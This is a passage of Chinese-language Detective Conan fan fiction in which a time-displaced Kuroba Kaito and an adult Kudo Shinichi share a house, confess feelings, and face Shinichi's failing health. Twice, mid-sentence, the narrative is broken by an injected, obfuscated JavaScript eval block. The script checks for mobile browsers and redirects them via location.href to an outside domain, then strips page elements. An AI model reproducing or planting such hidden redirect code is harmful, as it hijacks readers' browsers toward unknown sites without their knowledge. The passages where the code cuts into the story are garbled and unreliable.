他只买了三罐,这个数量不管怎么看都不算多。黑羽快斗平时看起来是会示弱又擅长撒娇的性子,其实骨子里有着不达目的誓不罢休的强势脾气,工藤新一心说算了就随他的意吧,起身把餐碟都丢进洗碗机,随后他走了几步,思及今晚并未收到FBI或者MI6那些老熟人的邮件,难得近日大家都一片太平,便回过头看向亦步亦趋跟在他身后的黑羽快斗。 “天气不错,要一起看会儿星星吗?” 少年听见这邀请时眨了眨眼睛,没有任何犹豫地开了口:“要。” 当年工藤夫妇购置这套房产的时候,应该也是认为不能错过从高处欣赏风景的乐趣。阁楼被设计留有一扇仅能从室内打开的隐蔽侧门,外面便是一段坡度适中的房顶。 工藤新一找了一处坐下,而黑羽快斗更随意些,直接在屋顶躺了下来,蓝色的眼睛望向天空。 清凉的晚风徜徉于二人周身,稍微驱散了初夏闷窒的热气。 这个时代的星空其实和黑羽快斗所知的没什么不同,星辰各居其位,点缀着浩瀚深沉的夜幕。 “现在让我专程出来看星星,会有一种旧友重逢的感觉啊。”黑羽快斗感叹一声,“小时候总觉得同龄人都太笨了,有时候不想跟他们玩,我就会花一段时间独自观察一颗星星,然后在白天计算它的运行轨迹。算是一种打发独处时间的方式吧。” 世上恐怕也只有他才有能力随口道出这番狂妄的话语了,但工藤新一对此并不意外,他知道凭借黑羽快斗的智商,想要做的事情必然能做到登峰造极,不去做的自然也只是因为不感兴趣。 对方望着星空,继续说:“后来老爸开始教我魔术,也算是打破了我和陌生人的一层壁障吧。魔术是创造性的艺术,但表演者却不能拘泥于技术的革新,而是必须走到观众的心里。我要知道什么是他们能预想到的东西,什么能突破他们的思维定势,什么能带给他们欢乐和惊喜,潜移默化中鼓励着我与更多人交流,也让我感受到了魔术的趣味之处。” “现在也还喜欢魔术吗?”工藤新一问。 “那当然啦。”黑羽快斗歪过头,眼神透出醉意,又仿佛倒映着虚幻星星的海面,笑容却带着不容置疑的笃定,“新一应该也是吧?你能成为首屈一指的名侦探,不仅需要掌握渊博的知识,也必须读懂人心。侦探和魔术师,其实也是很相似的。” 侦探先生因他的话语而莫名地笑了笑。不过他既没有表示肯定也没有否定,而是提起一罐黑羽快斗带来的酒,和他一样单手打开拉环,仰头喝了一口,衣领间修长的颈线随着吞咽略微起伏。 饮酒会影响伤口恢复……算了。 黑羽快斗不用开口都知道对方会露出多么不在乎的表情,然后故意无视这番劝告。 就是说他们性格真的很投契。他伸出食指不太好意思地挠了挠脸颊。感觉自己勉强压在心底的失落终于隐藏不住地浮涌上来。 那么为何自己不能在正确的时间遇见工藤新一呢? 哈,难得喜欢上一个人,情敌居然是死掉的自己,太无敌了。 他要是能和那个死去的黑羽快斗说一句话,一定要骂那人一句混账,怎么能输得那么难看,让那么多人伤心。要是对方能活到这个时候,自己也能受制于时空悖论,不会迷茫地存在于这里。 黑羽快斗的视线一点点放远,因酒精麻痹神经而逐渐变得难以自持,目光中泛起迷离的神韵。 当然他早就知道,当下在夜空中闪烁的星光来自很远的宇宙深处,在遥远的过去发出光亮,历经许多光年的漫长旅程,才得以在此刻落进他们眼底。 就和自己一样,其实是属于曾经的映射。 当过往的事实抵达此刻,无法观测的未来便已注定。 他也是如此,从一开始就注定一败涂地。 风声渐渐大了起来。 色彩深浓的庭院里到处都是喧嚣的树影,在幽邃的凉风中零落婆娑,渐渐淹没了他们有一搭没一搭的谈话声。 他们漫无边际地随意聊了很多话题,直到工藤新一听见黑羽快斗的低语慢慢停了,他又坐了一会儿,随后起身的动作却是一顿。 黑羽快斗抬起眼睛望向工藤新一,自己只剩下两罐酒,这让他的举动无论怎么看都透出一股借题发挥的味道,唯独自身知道这点微薄的酒意赋予了他一点点勇气,让他把从初见对方时一直盘旋在心底的疑问说了出来。 “新一你遇见我的时候,是不是很失望?我不是你期望重逢的那个人,也不可能再和你经历跟他一样的故事。而且,只要我存在于你的面前,就会一直提醒你对方不复存在的事实……” 他觉得自己好像花费了所有力气才拽住工藤新一,但被牵住手指的人只觉他的力道轻得极为克制,小心翼翼地圈起了前三根手指,如同担心惊扰了什么似的,没有碰到侦探无名指上的戒指。 事实上黑羽快斗刚开口就已经开始懊悔,他一向擅长用谎言掩饰心意,何曾这么老实地坦承自己的想法,又觉得自己的每字每句都化成利剑伤害了对方,明明工藤新一才非常无辜,他没有任何过错,甚至好心地给予了无处容身的自己一个归处。 错的是他才对,他控制不住自己的心。 奈何就算他苦恼至此,甚至可能因为越过界限而失去难能可贵的归处,黑羽快斗终于还是跨越了心中的犹豫,手心收紧,视野天旋地转,一翻身就将对方所有的去路都封锁得干净。 他垂下眼睛,注视对方被自己的阴影笼罩的面庞,极不甘心地问:“可我还是想亲口问一问,工藤新一,你究竟是如何看我的?” 就算是……替身,他也觉得自己迟早能够取代对方。 无论如何他在本质上和曾经的黑羽快斗就是同一个人。 怪盗从来不是福尔摩斯身后的华生,而是亚森·罗宾——为掠夺而生的对手。 工藤新一没有直接回答,而是仰起脸庞,目光望着黑羽快斗。 因为逆着光,对方的眼睛里再看不见星星了。 也正是因为如此,他看见了那双透彻无比的眼睛深处无法压抑的某种情绪。 是他第一次见,又是他无数次看见过的感情,无望地盘旋在黑羽快斗的眼睛深处。 一时仿佛千言万语都噎在喉咙里,工藤新一不愿意去否认这个人。任何维度的黑羽快斗,都理应拥有掌握自己人生的权利。但他也无法轻易地随波逐流,忘却自己真正的感情。 虽然很荒谬,在墓园重逢时,工藤新一曾想过直接离开。这样黑羽快斗就不会这么早,甚至可能在他解决完组织的事情之后,才知晓那些案件的内情。 他可能会自己孤单地生活一段时间,也可能很快与他的母亲见面。哪怕他以后都无法重返过去,黑羽快斗也能慢慢过渡到全新的生活,爱上其他人,被他钟情的人也定然全心全意地爱着他。 纵然这将使工藤新一的人生轨迹离他越来越远,却也不失为一个好的结局。 冥冥中早有因果注定,那一天工藤新一放不下心中顽固的执念,没有狠心离开,这一刻他凝视着黑羽快斗的眼睛,蓦地意识到,他们都再也无法回头了。 “黑羽快斗。” 视野中少年逐渐错愕的脸孔缓慢放大,工藤新一闭上眼睛,温凉的薄唇印在他的唇上,给了他一个吻,极为短暂,又像一次私心的献祭,擦出的触感和温度让黑羽快斗几乎以为心口被活生生挖空了一块。 因为连自身都早已伤痕累累的工藤新一对他说:“我希望你能幸福。” 少年的心中涌起一股悲凉的恻然。 大人都是这样的吗?会在爱里面温柔地掺入自己的牺牲,让得到的人都不知道该如何是好了。 不对不对,答案不应该是这样……心里头尽是否认的声音。可事实上黑羽快斗好长时间都说不出一句话来,压根不知道该以怎样的表情和怎样的话语诉说自己的心意,好像无论怎么做都免不了得寸进尺的嫌疑。 他能做的只剩下默不作声地抱一下名侦探单薄的身体,持续不超过十秒,每一分力道都小心地控制着不给对方增加更多负担,随后抬起脸来,露出一个如常的笑容。 “谢谢你,新一。” 休息之前,工藤新一告诉黑羽快斗明天早上不用准备他的早饭。黑羽快斗偷听到一点他和隔壁女邻居的谈话,知道是对方的嘱咐,面上却仍是浮现出不明真相的疑惑表情:“真少见啊,新一是打算睡晚一点吗?” 工藤新一摇了摇头。 “不是,我明早要出门。”他说,然后很快又补了一句,“不用特地配合我的作息,我自己在外面买早餐就好了。” 黑羽快斗自然不会戳破他的借口,说了声“好”,然后第二天就如工藤新一所愿地晚起,听见庭院的铁栅门关闭的声响以后才睁开眼睛。 他没有急着出去,而是坐在床上搂住被子,静悄悄地发了一会儿呆。 黑羽快斗怎么也想不明白,为什么区区外伤还需要特地抽血检查,而且还故意不去医院处理。这种私下解决的做法应该更常见于一些见不得光的伤情,例如受伤的人身份敏感,例如伤势的由来特殊,或者像怪盗一样二者兼有,就会倾向于求助地下黑医或者身边信得过的人,但工藤新一是为警方办案受的伤,显然不同于此类。 那就是他自身的情况足够特殊,不能去正规医院检查了。黑羽快斗也不是没注意到他手臂的伤势恢复极慢,隐隐约约的疑惑一直压在心头,只是因为他时刻关注着工藤新一的状况,无论遇到什么情况都能很快照应,才没说而已。 联想到他调查过去怪盗Kid的事迹时常被媒体捕捉到身影的江户川柯南,黑羽快斗至今还不知晓工藤新一是如何变成那副模样的,但怎么想都觉得人的身体遭此骤变可谓是极度危险,加上其他一些令他在意的原因,黑羽快斗觉得他有必要调查其中的内情。 “总感觉我最近也跟侦探差不多了……”少年怪盗嘀咕了一声。在做的事情不是搜查就是解密。 突然有此感言也是因为黑羽快斗想到了自己夺来的钥匙,如他事先所料,他将其合二为一后确实成功地从中拆解出密文条。问题在于他对于如何破解上面的密码毫无头绪,面对一片杂乱无序的字符,脑袋里隐隐觉得还缺失了一点提示,只能将其暂时搁置了。 反正想要潘多拉的人定然比黑羽快斗更加急迫,他大可稳坐钓鱼台,静候对方送上门来。 黑羽快斗低下头看向自己摊开的掌心,无端地笑了一声,自嘲着想,现在他最不缺的就是时间和耐心。 少了人的房子自然而然显得很空,屋里的光线比前几日更暗一些,黑羽快斗走出房间,一抬头就看到落地窗外的云走得很快,天空一派变幻莫测的气象。 他打开电视,访谈节目的主持嘉宾还在津津乐道近来怪盗复出的新闻。鉴于失窃的钥匙本身并无太大的实物价值,警方后续的追踪并不紧迫,也就剩下媒体能趁着话题热议兴奋几天,然后用字字句句的猜测去戳中某些人敏感的神经。 黑羽快斗随意地听了一会儿,然后换台,天气预报的主持人姐姐用温柔的声音宣布东京接下来一周又有雨,因为气象台预测到本市将有台风正面来袭,也算是沿海都市屡见不鲜的夏季名产了。 冰箱里储备的食材不算多,台风过境时附近大规模断水断电的可能性很高……他思忖片刻,出门补充物资。 当下风雨还未至,不过外面和黑羽快斗一样打算未雨绸缪的人不算少,附近的便利店早早就被扫荡一空。他想着大商场的储备应该更充足,便搭电车去了涩谷的商业街,果然商场里还有员工在不断补充着即将清空的货架,就是周围堪称人声鼎沸,比促销日的客流还要多上不少。 黑羽快斗站在大门前长叹一口气,看了眼地图,在脑中规划出一条完美避开海鲜区的路线,便认命地挤进人群。 这个时代也有许多好处,比如烘焙区和零食区多了很多他没见过的新品。黑羽快斗一路走过,仗着一张好看的脸被提供试吃甜点的阿姨姐姐们投喂了一路。他边吃边考虑着要把哪些买回去,以及要不要找个兼职赚点收入,省得被名侦探包养得良心作痛,过了一会儿才听见有人冲他喊着什么。 “柯南君……柯南君!” 一位相当漂亮的长发女性挤开购物的人群,快步走来。 她脸上惊讶的表情在黑羽快斗转过脸、帽檐下的蓝眼睛看向她时,忽然变得迟疑。 “是……柯南君吗?” 黑羽快斗把嘴里咀嚼的蛋糕咽下喉咙,他记性过人,一眼就认出她是资料中那位工藤新一的前女友毛利兰,不过精致的妆容衣饰让她看起来比照片中的女高中生多出些成熟风韵。 嗯……该怎么办好呢?黑羽快斗心想,实际上并没有犹豫,照着名侦探的习惯略微调整了一下表情,笑着说:“好久不见,兰姐姐。” 对方肉眼可见地松了口气:“吓死了,因为你没戴眼镜,我还以为认错人了呢,尴尬得不行……”她说着,又疑惑地问,“柯南君不是在美国吗?什么时候回来的?” “嗯……嗯,现在觉得用隐形眼镜比较方便,刚回国,最近住在新一哥家里。”黑羽快斗的借口信手拈来,说起谎来完全脸不红心不跳,眼睛轻轻地眨了眨,嘴角勾起一个弧度,“兰姐姐想我了吗?” 然而黑羽快斗还未从因他的话语而稍显怔神的女子口中得到答案,另一个音量极低却被他谙熟于心的声音蓦地飘入他的耳中。 “快斗……” 黑羽快斗唇边的笑容变得僵硬,又在下一刻用天衣无缝的poker face稳住。 他嘴上故意用略高一些的音量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588914|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“哎呀,我们已经很久没见了,我想想啊,十来年了吧?” 黑羽快斗知道江户川柯南仅存在于比怪盗更短暂的一段时间,伴随着工藤新一的完全回归,神奇的小学生侦探必然要使用某种借口退出那些不知情的人们的生活,所以黑羽快斗能够轻易估计出他和熟人的分别时间。 这句话似乎打消了对方的怀疑。 “是十二年了。柯南君你真是的,敷衍起人来跟以前的新一有得一拼。这些年都只用邮件跟大家沟通啊,问就是学业忙和美国有时差的借口……” 她略带抱怨的回答正中了黑羽快斗的猜测,心底有个角落为此思索起来。在这时黑羽快斗的视线下意识掠过疾走的人群,捕捉到了自己十年后的青梅竹马,提包掉在地上,双手捂住嘴唇,望向自己的脸上带着不可思议的表情,眼睛红了一圈。 她的提包被路人踢到,倒给了黑羽快斗一个借口,嘴上说着“等我一下”,他走过去,把包捡起来,拍了拍上面蹭到的灰尘:“给,你的包掉了,要拿好啊。” 刚才黑羽快斗说话的音量足以让附近的人听见。 对方道了声谢,随后试探着道:“你是……柯南君?” “嗯?我是。”黑羽快斗意外于二人的交集,面上仍不动声色,露出回忆着什么的表情,“我记得你是……” “我是青子,你没印象也不奇怪,因为我们只是好多年前见过一面呢。”青子笑着,装作不经意地拭干眼角的泪迹,“太神奇了,第一次遇见柯南君时,我就觉得你跟我认识的一个人小时候很像,现在看起来就更像了……抱歉,我只是太久没见过那个人了,很想念但是一直见不到……所以看着柯南君的样子,忽然心里有点感动,就像是又见到了一样。” 黑羽快斗垂在身侧的手蓦地攥紧,又颤抖着松开。 “听起来那人还挺混账的。”他打趣说,青子脱口而出的“不是”也没被他听进心里,淡淡地笑了下,“不过,世上还有很多无法圆满的事情。虽然我不是你口中的那个人,但若是我能为你带来一瞬间思念成真的幻觉,能让你觉得安慰,我就会很高兴了。” 青子表情很认真地纠正说:“不仅是安慰,我觉得很幸福。” “嗯,那我也会觉得很幸福。” 无论如何,有些谎言是不得不说的,这就是黑羽快斗的人生。 最终他在两位姐姐的推荐下买到了好几种大受好评的甜品,差点疏忽了补充食材的头等大事,分别之后才一拍脑袋想了起来,看了看自己拎着的两大袋零食,心虚地倒退回去填了送货单,请商场帮忙寄到工藤家,才不急不缓地踏上回程的步伐。 在黑羽快斗外出期间,借口外出办事的工藤新一正好回到家中。 玄关的鞋子透露出对方此刻不在的讯息,侦探看了一会儿才缓缓地舒出一口气,径自走上楼梯,回到房间把门反锁,然后就倒在床上,闭紧眼睛,眉间隐现忍耐的纹路。 检查时灰原哀对他说的话语浮上心头。 “其实就算不化验我也大概能猜到情况。”灰原哀把取样管放进保存箱,声音里已经尽量摒除了感情的痕迹,“你的情况……应该快撑不住了吧,工藤君。” “所以我才来向你求助啊。”工藤新一非但对此不慌不乱,甚至有心思开玩笑道,“帮帮我吧,我可以充当你的对照组,不是吗?” 灰原哀没有服下解药。她的至亲早已逝去,反倒是变回幼年的样貌后得到了令她温暖的亲友,所以心甘情愿放弃了曾经名为宫野志保的人生。 准确来说,没有使用解药的她才是工藤新一的对照组。可惜灰原哀无心纠正工藤新一的发言,脸上也没有一丝笑意。 “我根本笑不出来。” 她不甘地低声说,注视着电脑屏幕里的论文,也不想提她去美国的顶尖实验室也得不到进展的事实。如果投入大量时间说不定还有渺茫的概率迎来转机,但如今她最缺的就是时间,这也是她果断回国的原因之一。 要不是贝尔摩得消除了APTX-4869的开发数据…… 时至现在,灰原哀仍是不理解,为何那个人背叛组织之前,还要冒着巨大的风险故意多此一举。 工藤新一脸上没有埋怨命运不公的情绪,他只是很平静地把抽血时拉高的袖子放下来,扣上袖口的扣子。 “抱歉,一直以来都在勉强你,只是我还有必须要做的事情……” “跟我道什么歉啊。”灰原哀咬了咬下唇,“在勉强的是你才对吧,别太自以为是了,地球又不是缺了你这个名侦探就无法转动……” 她说到一半就心觉不妥,懊恼地把头转向一边:“我失言了,你别在意。” 工藤新一自然不会生气,心底甚至很明白这就是事实,不过,这世上也有他伸出手才能得救的人,所以他的目标不会动摇。 他这样回答的时候灰原哀只能用一种无药可救的眼神回视工藤新一,就像看着一个勇于把脑袋扎进火堆的人,除了不理解和无可奈何,还有一种对这种理想主义者的钦佩。 败给你了。她只能这样咕哝,而后取出一个很小的密封瓶,里面有着几颗红白相间的胶囊。 “这是……” “少废话,不是你要的吗?APTX-4869的解药,我稍微改良了一下,减轻了作用的痛感……你,别滥用啊。” …… 工藤新一翻了个身,将小小的玻璃瓶举在眼前,脸上露出思索的表情。 他的手机忽然响起,工藤新一扫了一眼来电界面,上面写着毛利兰的名字,他没有留意到来电显示的是自己另一个极少使用的手机号码,手指直接划开屏幕点了接通。 “喂?” “柯南君,你回家了吗?” 这一声开场白把工藤新一惊得心脏急跳了一下,他迟疑地沉默了一下,拿开手机看了眼屏幕,眼神谨慎,没有随便应声。 所幸他这些年嗓音变化不大,通讯那边的人也没有察觉到他异乎寻常的安静,径自说道:“刚才在商店街看见你的时候,我总觉得你好像有些怪怪的……嗯,怎么说呢?生疏了一些?我都不太好意思问你太多了。我有些担心你,不过你在国外的时候总是不方便通电话呢。最近过得怎么样?是打算在日本期间都住在新一家吗?” 工藤新一渐渐听明白了情况,原来是黑羽快斗不声不响地又冒充了他。他把玻璃瓶放下来,冷静地回答:“嗯,我没事,是住他那里。” “那我就安心了。” 那边貌似终于放下心来,手机里传来对方松了口气的声音。工藤新一留意到楼下玄关传来开门的动静,心想应该是黑羽快斗外出归来。 他语气如常地与毛利兰寒暄了两句,还作为江户川柯南答应了替她向工藤新一问候的传话,便结束了通讯。 几句话的工夫就足够黑羽快斗放下购买的东西走到二楼。他已经看到工藤新一放在玄关的鞋子,所以规矩地敲了敲门:“新一,你休息了吗?” “没有。”工藤新一松开手机,又把手中的玻璃瓶塞进口袋里,做完这些才转过头看向屋门,“进来吧。” 黑羽快斗应了声,正要开门,被反锁的门把手让他的动作顿了下。过了一秒不到的时间,他神色如常地开门入室,看见工藤新一大半个身子都躺在床上,手机丢在一旁,右臂横在眼前,长腿随意地搭在床沿。 对方那副样子分明只是有点疲倦所以假寐一会儿而已,而且工藤新一把衬衣系到倒数第二颗衣扣,只有手颈的皮肤裸露在外,甚至有几分禁欲的味道,最为露骨的无非是规规矩矩束在西裤里,但因姿势被扯长的一片衣料,勾勒出腰腹若隐若现的肌肉线条,却令黑羽快斗的视线在他身上停驻了几秒才假装若无其事地移开。 为了遮掩这份心情,他笑着说:“没想到新一比我先回来。我刚刚出去采购了一些东西,你可能想不到我遇到了谁,居然把我错认成新一你也知道的另一个人……” 黑羽快斗不愧是心思缜密的怪盗,早有预料那位兰小姐极有可能会在偶遇之后与侦探联络,三言两语就将此事带过,既可以作为预防针也可以当作补救措施。 但当他说完转身,再度看向工藤新一时,却发现名侦探全程只是默不作声地听着,连根手指都没有动,胸膛平稳起伏,好像快要睡着了。 黑羽快斗的目光忍不住在他身上流连,失笑道:“看样子你这次的工作有些棘手。劳动名侦探特地出门不说,还让你累成这个样子。” 这句话好像让对方提起些不服输的兴致,侦探微抿的唇角轻轻挑起,看上去有些危险,又似乎毫不设防,全然不知自己这副模样对黑羽快斗的吸引力,以及正在被怎样的眼神所注视。他嘴唇轻动,语气微妙地反问:“装模作样什么?你不是早就猜出来了吗,我就是江户川柯南。” 11. File 11 黑羽快斗蓦然将视线抬起,心海为这答案剧烈地起伏着,目光紧迫地直射向工藤新一好像若无其事的脸庞。 这世上果真存在能让人返老还童的东西?那你是不是从一开始就因为怀疑我才收留我—— 黑羽快斗直觉意识到开口追问背后的凶险,下一刻又因自己的念头而心里一空,感到一种难以名状的危险,当即让思绪中多余的念头缓了缓,强迫自己转移注意力。 他在唇边噙起一丝微妙的笑意,刻意拖长回答的声调:“猜是猜出来了……” 不过,本尊的承认还是让人觉得格外刺激。怪盗必须承认客串侦探也是挺有快感的。 当然,为了不挨骂,他很理智地没把话说出口,只是陈述事实道:“毕竟,我得到的线索大多是新一先生您提供的。” 所以,你不也是乐在其中吗?黑羽快斗压着尾音的这句冒犯话换来工藤新一终于挪开挡在眼前的手臂,不轻不重地朝他瞪了一眼。 “我给你资料只是为了帮你适应这个时代。” “但我和你熟悉的那个黑羽快斗本质就是同一个人,不可能不对你感兴趣啊!” 黑羽快斗用理直气壮到极点的语气把工藤新一的话完全顶了回去,强词夺理和百折不挠的少年做派被他借题发挥了个十成十。侦探因此抽了一下眼角,坐起了身,分不清是心烦意乱还是忍无可忍地想要抱怨一句什么,却见黑羽快斗忽然乖巧万分地屈膝跪坐在他的腿边,拉着他的手抚上自己的侧脸。 “你早就应该知道……”黑羽快斗放轻声音,仿佛无可奈何又仿佛撒娇般亲昵,睫毛向下一低,呢喃着说,“新一,我一旦遇见你,就会喜欢上你。” 不要再对我的感情视而不见。 因为我逃不过,你也逃不过,我们之间存在致命的相互吸引。 他从低处望向工藤新一的侧脸,眼神专注得奇异,感情都流动在那双浅蓝的眼睛里。 就像世间至高无上的绝对真理,无限时空中唯一通行的真正法则,他们的关系是灵魂不讲道理地共鸣和相契,诱惑他们不顾一切地靠近和争斗,呼应和对立,犹如镜子的表里两面,双子星系的相互吸引和斥力,如此颠扑不破,不可动摇。 黑羽快斗是运气太好,此生能遇到他钟情至极的工藤新一,也可能是运气不太好,偏偏遇上了爱着另一个他的工藤新一。 但在注视着名侦探的时候,他心里只剩下能与对方相遇的庆幸,可能这也是爱的盲目性。 “快斗……”工藤新一低下头看着面前的少年。 他的语气复杂,似乎要说些什么,可是黑羽快斗现在不想再听任何让他们都心脏作痛的话语,顺势起身按住工藤新一的一边肩膀,又擒住他另一边的手腕,工藤新一的话未出口就被他彻底以吻封缄,整个人不得不重新倒回床上去。 明明黑羽快斗说过要等名侦探对自己心动难耐再吻他,可实际上,退让一步的人心里一点都不想等。 不想错过,不想放弃,内心隐隐有个满怀不甘的声音告诫他,不要让自己后悔。 所以哪怕在心里无数次嘲笑过自己,他还是想说。 ——把你的爱,给我一点吧。 唇齿交缠间的呼吸逐渐变得湿润而急促,口腔里泛着黑羽快斗分享给他的、属于蜂蜜蛋糕的甜蜜滋味。房间里太安静了,显得他们气息交错的动静尤为清晰,好似本该轻灵的空气被涂抹上一层厚重黏稠的质地。工藤新一只觉黑羽快斗抚着他的掌心很烫,夹杂着一丝分外坚决的强迫味道,让他顿时意识到一切都那么荒谬罪恶,热度瞬间涌进血管,浮现在侦探极其白皙干净的肤色上。 他突然狼狈地撇过脸庞。 “不行……” “不要。凭什么他可以我就不行。” 对这种关系感到忍无可忍的人可从来都不止一个人啊。 沉迷的吻拂过工藤新一的唇角,灼热的声音落在他暴露出来的侧颈,犬齿微微陷入皮肤。 平常都仗着年纪小所以表现得无害又温顺的家伙,乍眼看去好像自己凭阅历就能把他轻易压制,本质却是一脉相承的无法无天,一不留神就会对你亮出獠牙。 工藤新一被迫覆上一层水膜的瞳孔迷乱失焦,热度弥漫的脑海里散乱无章地闪过很多回忆。 “拜托你了哦,名侦探。”怪盗彬彬有礼地俯首,托起小小侦探的稚嫩掌心,在指根落下一个虔诚的亲吻,“哪怕有一天,我从你的世界消失,也别忘记我。” 不用担心,怪盗不会被任何人抓住,不会为任何人停留,也永远不会真正地死去。 他用跟孩童讲述童话般的语气,冠冕堂皇地说。缥缈温柔的声音几乎弥散在月光将尽的夜雾中。 “只要你还记得我就足够了,哪怕让我如愿的瞬间就是朝生暮死的结局,我的存在也不会消逝,不会变成灰烬,不会变成虚无,不会变成苍白黯淡的回忆。” 后来没过多久,那个人就真的从世间消失了。 有的人猜测他已经死了,有的人觉得他已经悄然隐退。种种传言众说纷纭,后来还有仿冒者陆续出现,模仿拙劣愚蠢得引人发笑。 然后十年过去,人们都已经淡忘过去的故事,不再提起怪盗的传说,连搜查二课都重新将Kid的案卷尘封,唯有一人还在不折不挠,执着于抓住怪盗留下来的一切。 那个人就是工藤新一。 他从未忘记怪盗对他讲过的很多话,说他们是相互对抗的艺术家和批评家,也是相互呼应的大海和天空,黑羽快斗调侃着将他比作不愿见面的恋人,又兴致勃勃地要向他挑战萨斯顿原则。他也还记得他们一起做过的许多事,那些抱怨着天色太黑却乐此不疲的捉迷藏游戏,和明明彼此身为宿敌,却在无数次遇到危机时,无需多言就组成的共同战线。每个自己应邀而至的不眠夜,都是为他们提供巅峰对决,让他们斗志高昂、灵魂闪耀的舞台。 以前不止一次想过他们是否存在另一种相遇的可能性,却未曾想到未来是他如约遵守了不忘记对方的约定,骗走他承诺的人却没能留住那段过去。 工藤新一闭上眼睛,情绪纷繁杂乱,垂下的睫毛因内心太过激烈痛苦的感情而轻轻颤抖,快要分不清这令他快要心魔丛生、分外难捱的想法究竟是爱,还是悄无声息地掺杂了无望的恨。 但在黑羽快斗碰到他腰间,身体下意识地避开时,口袋里硌在大腿上的玻璃瓶蓦地唤回了工藤新一沉沦的思绪。一瞬间像有根小刺扎中心口,酥麻过后,理智骤然回归,他低低抬起眼睑,眸底悄然走过谁也无法理解的凛冽神采,犹如光照在堆积的冰雪之上,冰冷而又炫目。 不对,这样还是错了。 他不能这样随波逐流地随着对方坠落下去,这才是会让他们都彻底走向万劫不复的漆黑陷阱。 工藤新一搭在黑羽快斗肩头的手指微微收紧。 他知道决绝地回避只会让年轻人的沉迷愈演愈烈,但是自己也无法用过于强硬的话语伤害对方,于是微微地侧过了脸,被亲吻得发红的嘴唇张开一些:“橡胶……你买了吗?” “啊?” 黑羽快斗一开始没有听懂,抬起来的脸庞满是清澈的迷茫,一双望向他的眼珠就像被水浸透了似的闪着光。 过了大概几秒,性能优越的头脑处理完毕他听见的讯息,大片红晕涌上少年白皙的脸颊。 “嗯……没有?”他试探着说。 工藤新一没说话。 黑羽快斗逐渐回过味儿来,缓慢地眨了眨眼睛。他是天生的大胆妄为,在这种氛围里还轻轻用一根食指从工藤新一身前沿着衣扣虚虚下滑,停在从腰带里滑出来、凌乱翻折的衣摆附近,接近肚脐上方的位置,若无其事地提出疑问:“我难道不可以中出你吗?” 因为这句话,黑羽快斗被惩罚去打扫工藤家广阔幽深的地下书库,他轻咳一声,表情有些微妙的不甘心,但还是红着耳根去了。工藤新一看着他离开的背影,随后从床上下来,站到窗前俯视在乌云的笼罩下逐渐变得昏暗压抑的街区,一阵接着一阵的疾风缠上枝丫,让树木在一片寂静中哗然喧嚣,他插在口袋里的手掌攥紧药瓶。 风雨将至。 时间也已经所剩无几。 没有余地让自己的心再去挣扎了,他还有敌人未除,阴谋未破,谜题未解和夙愿没有实现,就算让他为此付出自己的一切,他也不会停止。 轰隆隆—— 黑羽快斗扛着扫帚不紧不慢地走下楼梯。落地窗外浓云遍布的天空正好划过一道狰狞曲折、网罗住整片天空的闪电,骤亮的光线将他笼罩在阴影下不带情绪的脸庞映照得明灭不定。 那几乎只是一瞬间的事情,世界昏暗下来,雨幕垂落,瞬息间便淹没了天地间的所有声音。 “工藤家的地下书库啊……” 黑羽快斗觉得工藤新一独自住在这栋过大的宅邸里也是件麻烦事,平时需要花费不少时间用来日常打理。 工藤家书库的规模堪比小型图书馆,因此屋宅被修得极深。在这种天气下,通往地下的楼梯比一层的视野更加不好,越往下走越是漆黑,更是让人隐约有种通往无底深渊的错觉。胆小的人不开灯是不敢走的,黑羽快斗自然不在此列,所以很快抵达了尽头。 “啪”的一声,他打开室内灯的开关,隔音门在身后缓缓闭合,阻绝了外面微弱的落雨迷音。 眼前是一层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588915|171799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又一层从地面拔高上去的巨大书架,满满当当地放着藏书,厚重地占据了视野。或许是因为身在地底的关系,给仰头观望的人一种强有力的威慑感。 仿佛这些藏书会迎面坍塌下来,激荡起一片浓浓的烟尘,将底下的他压得窒息。 其实工藤新一应该有定期打理这边,地面还算洁净,地下的新风系统也运作良好,所以黑羽快斗一时的感想只是心理作用。事实上对于心无杂念的人来说,这种宽阔静谧的环境应该很容易让人沉浸到阅读的个人世界中去。 之所以会这么想,是因为他杂念丛生,一颗心静不下来。 黑羽快斗将扫除工具搁置在一旁,没急着忙碌,而是将双手插进兜里,悠闲地游览了一圈,发现藏书涵盖天文地理、哲学历史、艺术乐理等各个领域,种种杂学无所不包,令他暗叹工藤家的才识眼界确实名不虚传,品味相当不错。 走着走着,他在一面书架前放缓脚步,视线逐渐聚焦起来。眼前的书架所存放的并非世界各地出版的普通书籍,而是工藤父子多年来自行整理归集的纸质档案。作为侦探世家,他们的关注焦点自然离不开罪犯和案件,档案中既有许多历史上悬而未解的疑案,也不乏当代的重大要案。 当然,也包括怪盗1412的犯罪记录。 世上绝大多数的罪犯,平生只越过一次刑法的界限,他们的案卷只有寥寥数页,简单交代了犯罪的起因和结果后,便再无下文。 文明的社会环境和教育的广泛普及如同给人性中的恶念套上了枷锁。在庞大的遵纪守法、安稳度日的国民群体中,犯罪者本就是少数,而那些重蹈覆辙的累犯更是少数中的少数。不可否认有些人在尝到了跨越红线的好处后会上瘾,但秩序的强制力绝不会任其愈演愈烈,一次两次或许能够侥幸逃脱制裁,十次八次就几乎不再可能。 现代刑侦手段的发展日新月异,倘若侦查领域的高手精锐倾巢而出,布下天罗地网,足以揪出九成九的大鱼。 